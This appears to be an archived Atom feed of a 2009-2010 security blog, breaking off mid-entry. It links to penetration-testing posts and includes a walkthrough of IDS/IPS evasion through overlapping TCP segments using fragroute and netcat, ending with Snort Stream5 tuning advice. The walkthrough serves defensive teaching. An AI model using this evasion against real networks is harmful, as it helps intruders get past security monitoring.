<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3840785077954302324</id><updated>2011-09-01T09:14:51.650-04:00</updated><category term='http://bp0.blogger.com/_wHrCn3UcXN0/SGPSOmT1HQI/AAAAAAAAABg/XmGXdzXGK3E/s1600-h/Picture+4.jpg'/><title type='text'>In Depth Defense</title><subtitle type='html'>Random thoughts and obersation about computer security.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>46</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-2977365903143087209</id><published>2010-12-04T07:52:00.005-05:00</published><updated>2010-12-04T08:16:25.276-05:00</updated><title type='text'>Pauldotcom posts for 2010</title><content type='html'>&lt;div&gt;Here is an archive of links to my 2010 Pauldotcom posts.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://pauldotcom.com/2010/10/tsharkwireshark-ssl-decryption.html"&gt;Tshark/Wireshark SSL Decryption - Lessons Learned &lt;/a&gt;&lt;br /&gt;&lt;a href="http://pauldotcom.com/2010/10/windows-7-symbolic-links-and-h.html"&gt;Windows 7 symbolic links and hidden files&lt;/a&gt; &lt;br /&gt;&lt;a href="http://pauldotcom.com/2010/10/real-time-google-hacking.html"&gt;Real time Google Hacking &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/09/web-application-penetration-te-1.html"&gt;Web Application Penetration Testing - Part 4   &lt;/a&gt;&lt;br /&gt;&lt;a href="http://pauldotcom.com/2010/09/web-application-penetration-te.html"&gt;Web Application Penetration Testing Script - Part 3 &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/09/web-penetration-testing-script-1.html"&gt;Web Penetration Testing Scripts - Part 2&lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/09/web-penetration-testing-script.html"&gt;Web Penetration Testing Scripts - Part 1 &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/08/draft---creating-per-user-cust.html"&gt;Creating per user customized dictionaries with USERPASS&lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/04/using-meterpreter-to-control-n.html"&gt;Using Metasploit to control netcat and third party exploits  &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/04/capturing-ssh-v1-v2-credential.html"&gt;Exploring the Facebook API  &lt;br /&gt;Capturing SSH V1 &amp;amp; V2 Credentials with a MitM ssh honeypot &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/03/resilient-ssh-tunneled-meterpr.html"&gt;Resilient SSH Tunneled Meterpreter Session&lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/03/nessus-scanning-through-a-meta.html"&gt;Nessus Scanning through a Metasploit Meterpreter Session &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/03/ssh-gymnastics-with-proxychain.html"&gt;SSH gymnastics with proxychains &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/02/meterpreter-script-to-unlock-t.html"&gt;Meterpreter script to unlock the screensaver &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/02/killing-the-monkey-in-the-midd.html"&gt;Killing the Monkey in the Middle &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/02/running-a-command-on-every-mac.html"&gt;Running a command on every machine in your AD domain from the command line  &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/02/bypassing-av-with-msfencode--x.html"&gt;Bypassing AV with msfencode -x &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/02/smashing-the-general-ledger-fo.html"&gt;Smashing the General Ledger for fun and Profit (AKA Accounting 101 for Penetration Testers) &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/02/deleting-the-undeleteable.html"&gt;NOT A CON!!!! (it's a backdoor)   &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/01/csaw-challenge---reflections-o.html"&gt;CSAW Challenge - Reflections on Pools of Radiance &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/01/draft---heres-what-you-missed.html"&gt;Pauldotcom 1-28 Technical Segment - Here's what you missed! &lt;br /&gt;&lt;/a&gt;&lt;a href="http://pauldotcom.com/2010/01/gone-in-60-seconds.html"&gt;Gone in 60 Seconds&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-2977365903143087209?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/2977365903143087209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=2977365903143087209' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2977365903143087209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2977365903143087209'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2010/12/pauldotcom-posts-for-2010.html' title='Pauldotcom posts for 2010'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-628078726890065008</id><published>2010-01-14T17:29:00.002-05:00</published><updated>2010-01-14T17:39:14.042-05:00</updated><title type='text'>Some new posts</title><content type='html'>I've gotten a couple emails asking where I went.  For those that do not know I've been posting on Pauldotcom.com.    In the future I will post my entries here also,  but really... You should follow pauldotcom.com!!!!  :)   See you there.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pauldotcom.com/2009/07/draft--not-ready---quick-and-e.html"&gt;Wireless Access Points Defcon 2004 style&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pauldotcom.com/2009/11/authentication-bypass-in-gina.html"&gt;GINA Authentication Bypass&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pauldotcom.com/2009/11/the-quest-for-a-shmoocon-barco.html"&gt;Shmoocon tickets.  See you there!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pauldotcom.com/2010/01/gone-in-60-seconds.html"&gt;All your Active Directory Computer objects - Gone in 60 seconds&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-628078726890065008?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/628078726890065008/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=628078726890065008' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/628078726890065008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/628078726890065008'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2010/01/some-new-posts.html' title='Some new posts'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-7171108106377236390</id><published>2009-11-25T11:47:00.000-05:00</published><updated>2009-11-25T11:49:20.480-05:00</updated><title type='text'>Authentication Bypass in Gina Replacements.</title><content type='html'>http://pauldotcom.com/2009/11/authentication-bypass-in-gina.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-7171108106377236390?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/7171108106377236390/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=7171108106377236390' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/7171108106377236390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/7171108106377236390'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/11/authentication-bypass-in-gina.html' title='Authentication Bypass in Gina Replacements.'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-6074234717299616455</id><published>2009-11-04T21:11:00.001-05:00</published><updated>2009-11-04T21:16:47.109-05:00</updated><title type='text'>Layer 1 Port knocking</title><content type='html'>Maybe not, but its pretty cool!&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/zE5PGeh2K9k&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/zE5PGeh2K9k&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-6074234717299616455?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/6074234717299616455/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=6074234717299616455' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/6074234717299616455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/6074234717299616455'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/11/layer-1-port-knocking.html' title='Layer 1 Port knocking'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-1371799155425258841</id><published>2009-08-16T17:25:00.003-04:00</published><updated>2009-08-16T17:28:21.592-04:00</updated><title type='text'>TCP Fragment Evasion</title><content type='html'>Originally posted on http://pauldotcom.com/2009/08/tcp-frament-evasion-attacks.html&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;By:&lt;/strong&gt; Mark Baggett&lt;br /&gt;&lt;br /&gt;I recently read a very good article on tuning Snort's Stream5 preprocessor to avoid "TCP Fragment Overlap" attacks.   It's a great article, but the wording confused me.  I thought to myself, "TCP Fragments, that must be a mistake.  The TCP Header doesn't have a 'more fragments bit', a 'fragment offset' or anything to support fragmentation. How can there be any TCP fragments?" &amp;nbsp;&amp;nbsp;Typically when we talk about fragmentation attacks we think about Layer 3 attacks.   Attackers manipulate the IP packet headers to pull off various insertion and evasion attacks.   Examples of layer3 attacks include overlapping fragment attacks and temporal evasion (host reassembly timeout evasion).  These attacks are explained pretty well in an article titled &lt;a href="http://www.securityfocus.com/infocus/1852"&gt;"Evading NIDS, revisited"&lt;/a&gt;. &lt;br /&gt;&lt;p&gt;So what is TCP or Layer 4 "fragmentation"?  Really, its overlapping or retransmitted datagrams with the same TCP Sequence number.   To demonstrate the concept I fired up a virtual machine running &lt;a href="http://www.remote-exploit.org/backtrack_download.html"&gt;Backtrack 3&lt;/a&gt;.  I ran a netcat listener on my host (&lt;strong&gt;nc -l -p 9000&lt;/strong&gt;) and used a netcat client in backtrack to connect to it.  I fired up wireshark to watch the packets and I transfered the text &lt;em&gt;"This is a test of the emergency broadcast system. If it were an actual emergency"&lt;/em&gt;&amp;nbsp;between the two hosts.  This is what Wireshark captured.&lt;/p&gt;&lt;p&gt;Figure #1&lt;/p&gt;&lt;p&gt;&lt;form mt:asset-id="264" class="mt-enclosure mt-enclosure-image" style="display: inline;"&gt;&lt;img alt="TCPFragmentation1.jpg" src="http://pauldotcom.com/TCPFragmentation1.jpg" width="400" height="206" class="mt-image-none" style="" /&gt;&lt;/form&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;form mt:asset-id="264" class="mt-enclosure mt-enclosure-image" style="display: inline;"&gt;&lt;a href="http://pauldotcom.com/assets_c/2009/07/TCPFragmentation1-264.html" onclick="window.open('http://pauldotcom.com/assets_c/2009/07/TCPFragmentation1-264.html','popup','width=200,height=135,scrollbars=no,resizable=yes,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"&gt;&lt;p&gt;View image&lt;/a&gt;&lt;/form&gt;&lt;br /&gt;&lt;p&gt;Perfect.  Exactly what we would expect.  Since my packet doesn't exceed the MTU of the established TCP connection a single packet is transfered to the client with a single acknowledgment in return. &amp;nbsp;If it had exceeded the MTU it still wouldn't have fragmented. It would have sent more than one datagram, each with its own unique IP ID.&lt;p&gt;&lt;br /&gt;Then I created a fragroute configuration file with one line in it:&lt;br /&gt;&lt;br /&gt;&lt;p&gt;tcp_seg 16&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;This will cause fragroute to break the packets down so that they can only carry 16 bytes of TCP traffic.   I start fragroute (&lt;strong&gt;fragroute -f ~/myfrag.conf 192.168.100.12&lt;/strong&gt;) and transfer the same text between the hosts...&lt;/p&gt;&lt;p&gt;Figure #2&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;form mt:asset-id="265" class="mt-enclosure mt-enclosure-image" style="display: inline;"&gt;&lt;img alt="TCPFragmentation2.jpg" src="http://pauldotcom.com/TCPFragmentation2.jpg" width="400" height="244" class="mt-image-none" style="" /&gt;&lt;/form&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;form mt:asset-id="265" class="mt-enclosure mt-enclosure-image" style="display: inline;"&gt;&lt;a href="http://pauldotcom.com/assets_c/2009/07/TCPFragmentation2-265.html" onclick="window.open('http://pauldotcom.com/assets_c/2009/07/TCPFragmentation2-265.html','popup','width=1020,height=644,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"&gt;View image&lt;/a&gt;&lt;/form&gt;&lt;br /&gt;&lt;p&gt;Fragroute works as expected and breaks the packets down such that only 16 bits of data can be transfered in each packet.  Each packet sequence number increases by the number of bytes transmitted.  Sequence numbers increase in order.  Also, notice that each packet has its own unique IP ID field.  There is NO FRAGMENTATION.  The "More Fragments bit" isn't set. &amp;nbsp; The fragment offset isn't set.  No fragments.  Instead, fragroute is transferring packets as if the MTU of the segment is only enough for 16 TCP bytes.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;So now lets do some "tcp fragmentation overlaps".  I change my fragroute.conf file to say this:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;tcp_seg 16 new&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;This will cause fragroute to transmit frames with overlapping sequence numbers. &amp;nbsp; This attack takes advantage of the fact that the TCP layer doesn't pass data up the stack to the application until it has acknowledged the data and that packets are acknowledged in sequential order. &amp;nbsp; &amp;nbsp;So if we skip datagram #3 &amp;nbsp;and transmit datagrams #4, #5 and #6, duplicates of #4 and overlaps of #5 and #6 then the TCP stack needs to hold datagrams #4,#5 and #6 (as long as they are within the window size) and figure out what to do with duplicates/overlaps once it receives fragment #3.&lt;/p&gt; To see this in action I fire up fragroute and retransmit the text &lt;em&gt;"This is a test of the emergency broadcast system. If it were an actual emergency"&lt;/em&gt; &amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Figure #3&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;form mt:asset-id="266" class="mt-enclosure mt-enclosure-image" style="display: inline;"&gt;&lt;img alt="TCPFragmentation3.jpg" src="http://pauldotcom.com/TCPFragmentation3.jpg" width="400" height="350" class="mt-image-none" style="" /&gt;&lt;/form&gt;&lt;br /&gt;&lt;form mt:asset-id="266" class="mt-enclosure mt-enclosure-image" style="display: inline;"&gt;&lt;a href="http://pauldotcom.com/assets_c/2009/07/TCPFragmentation3-266.html" onclick="window.open('http://pauldotcom.com/assets_c/2009/07/TCPFragmentation3-266.html','popup','width=1016,height=707,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"&gt;&lt;p&gt;View image&lt;/a&gt;&lt;/form&gt;&lt;br /&gt;&lt;br /&gt;Lets look at it in the fragroute packets in figure#3. &amp;nbsp; The first two datagrams (#1 and #2) are garbage. &amp;nbsp;Their payload is random junk. &amp;nbsp;Then fragroute transmits good data in packets 4 and 5. &amp;nbsp;The payload here is the end of our payload "If this had been an actual emergency." &amp;nbsp;After the 4th packet the receiving host begins screaming to the transmitting client "HEY DUDE, &amp;nbsp;ACK&amp;nbsp;2933750986. &amp;nbsp;I didn't get that one yet". &amp;nbsp; The receiving TCP stack is complaining about not receiving the first datagram. &amp;nbsp; &amp;nbsp;Then fragroute sends 2 packets with 32 TCP bytes in each. &amp;nbsp;These two datagrams include the &amp;nbsp;FIRST datagram (Notice packet #10 has the lowest sequence number and the embedded text payload). &amp;nbsp;Parts of these two packets overlap packets 1 and 2. Packet #9 overlaps 16 bytes of packet #2. &amp;nbsp;16 bytes of packet #10 overlap packet #1. &amp;nbsp;If the TCP reassembly engine favors NEW packets then it will reassemble the text as expected. &amp;nbsp;If the IDS reassembles the packets favoring the OLD packets then we can bypass the IPS.&amp;nbsp;If we were drawing analogies to layer three fragment attacks holding the low sequence number datagrams is equivalent to setting the "more fragments bit" and the sequence number is the equivalent to the fragment offset.  So how to fix this? &amp;nbsp;The attacks aren't new. &amp;nbsp;Snort has the STREAM5 preprocessor. &amp;nbsp;Just be sure that you tune STREAM5 just like your FRAG3 preprocessor. &amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;References&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://searchsecurity.techtarget.com.au/articles/21459-Snort-39-s-Stream5-and-TCP-overlapping-fragments"&gt; Snort's Stream5 and TCP overlapping fragments &lt;/a&gt; An article by Richard Bejtlich that sparked my interest in this topic.  Its a very good article with more explanation on tuning the snort preprocessor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-1371799155425258841?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/1371799155425258841/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=1371799155425258841' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/1371799155425258841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/1371799155425258841'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/08/originally-posted-on-httppauldotcom.html' title='TCP Fragment Evasion'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-7624723156699575998</id><published>2009-06-28T22:18:00.003-04:00</published><updated>2009-06-28T22:30:13.288-04:00</updated><title type='text'>Posts moving to PaulDotCom</title><content type='html'>I'm joining the guys at Pauldotcom.  They have invited me to post my blog entries on their site.   As posts go up on their site  I'll provide a link to them here and I'll post some less technical notes here.  I'm pretty excited about the opportunity to work with those guys and looking forward to it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-7624723156699575998?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/7624723156699575998/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=7624723156699575998' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/7624723156699575998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/7624723156699575998'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/06/posts-moving-to-pauldotcom.html' title='Posts moving to PaulDotCom'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-9079876493575315376</id><published>2009-05-22T08:38:00.002-04:00</published><updated>2009-05-22T09:11:34.416-04:00</updated><title type='text'>Don't forget to wipe!</title><content type='html'>A while back I assisted the FBI in the collection of evidence of a now convicted sexual offender.  The guy had a hard drive full of child porn.   My customer had suspicions that an employee in a remote office was accessing inappropriate material on their work computer and asked that I investigate it remotely.  After finding one photo of a very young girl among a collection of "normal" porn and discussing it with my customer, I immediately dial my contact with the FBI.   (Good contacts are ESSENTIAL don't wait until you need them to try and make them.)  Although the young girl was clothed in the picture I saw, the lingerie and pose she was in was very disturbing and you just knew you didn't want to see anything else.  At that point I froze; anything else that was touched remotely was altering and potentially destroying evidence on the remote drive.   Within an hour the FBI was at the office.  He used my machine and the access I had gained to briefly verify the contents of the drive and confirm that it required additional investigation.  It did and they dispatched local agents to grab the drive for proper forensic collection.&lt;br /&gt;&lt;br /&gt;I spared myself the imagery and let the FBI do what it needed to do using my machine.  To me, this story is very interesting.   Here a person in a very similar role as the one I played.  He could be prosecuted for any residual images left behind on his drive after an investigation.&lt;br /&gt;&lt;br /&gt;http://www.theregister.co.uk/2009/05/22/bates_hard_drives/&lt;br /&gt;&lt;br /&gt;As far as I know, no CP was ever copied to my hard drive. I had donated a thumbdrive to the cause where all the evidence they needed during that brief investigation was collected.  If it is a project I am working on with sensitive data (such as a penetration test) I like to keep everything in TrueCrypt volume making clean up very easy.  But in this case, I wasn't driving.   It was a windows box and I periodically run "CIPHER /W:C:\" to clean up all the residual files in the free space on the drive, but it’s not something I do religiously.  How about you? Well, Cipher is running NOW!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-9079876493575315376?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/9079876493575315376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=9079876493575315376' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/9079876493575315376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/9079876493575315376'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/05/dont-forget-to-wipe.html' title='Don&apos;t forget to wipe!'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-8311853580875315158</id><published>2009-04-28T14:57:00.004-04:00</published><updated>2009-04-28T22:30:43.462-04:00</updated><title type='text'>Good enough Compliance??</title><content type='html'>Check out this article.. &lt;br /&gt;&lt;br /&gt;http://www.cio.com/article/102751/Your_Guide_To_Good_Enough_Compliance?page=5&amp;taxonomyId=1419&lt;br /&gt;&lt;br /&gt;What is "Good enough Compliance?"  You either ARE complaint or you ARE NOT.  Its a switch.  The article should be a guide to  "Good enough security".  Good security is no the same a being compliant.   I would much rather have good security then being compliant with any given regulation.  But good security often covers many of the security requirements outlined in compliance standards.   Two things caught came to mind reading the article.&lt;br /&gt;&lt;br /&gt;1) Don't trust Sony Pictures with any personal data or credit card information.  &lt;br /&gt;2) How many data breaches are REALLY happening?  &lt;br /&gt;&lt;br /&gt;What does this paragraph suggest?&lt;br /&gt;"According to Behnam Dayanim, a privacy attorney with Paul, Hastings, Janofsky &amp; Walker, state security breach notification laws are among the most frequently ignored types of security regulation. About 35 states have passed security breach notification laws, which lay out, to varying degrees, when an enterprise needs to notify customers and clients if their private information may have been exposed to an unauthorized user. According to CIO and PricewaterhouseCoopers’ “The Global State of Information Security 2006” survey, 32 percent of U.S. organizations admit to not being compliant with state privacy regulations."&lt;br /&gt;&lt;br /&gt;According to this paragraph 32% of organizations admit to not being compliant with state privacy laws.   The only way to be non-compliant with those laws is to have a breach and not disclose it properly right?    That is a significant number of unreported breaches.&lt;br /&gt;&lt;br /&gt;Well, at least Myspace did the right thing this past April.   Check out their disclosure on April 16th, 2009.  &lt;br /&gt;http://www.privacyrights.org/ar/ChronDataBreaches.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-8311853580875315158?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/8311853580875315158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=8311853580875315158' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/8311853580875315158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/8311853580875315158'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/04/good-enough-compliance.html' title='Good enough Compliance??'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-2080895458596795609</id><published>2009-04-23T12:34:00.000-04:00</published><updated>2009-04-23T12:35:21.436-04:00</updated><title type='text'>Interesting story on US Cyber attack</title><content type='html'>"Just after midnight on Thursday, April 9, unidentified attackers climbed down four manholes serving the Northern California city of Morgan Hill and cut eight fiber cables in what appears to have been an organized attack on the electronic infrastructure of an American city. Its implications, though startling, have gone almost un-reported."&lt;br /&gt;&lt;br /&gt;http://perens.com/works/articles/MorganHill/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-2080895458596795609?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 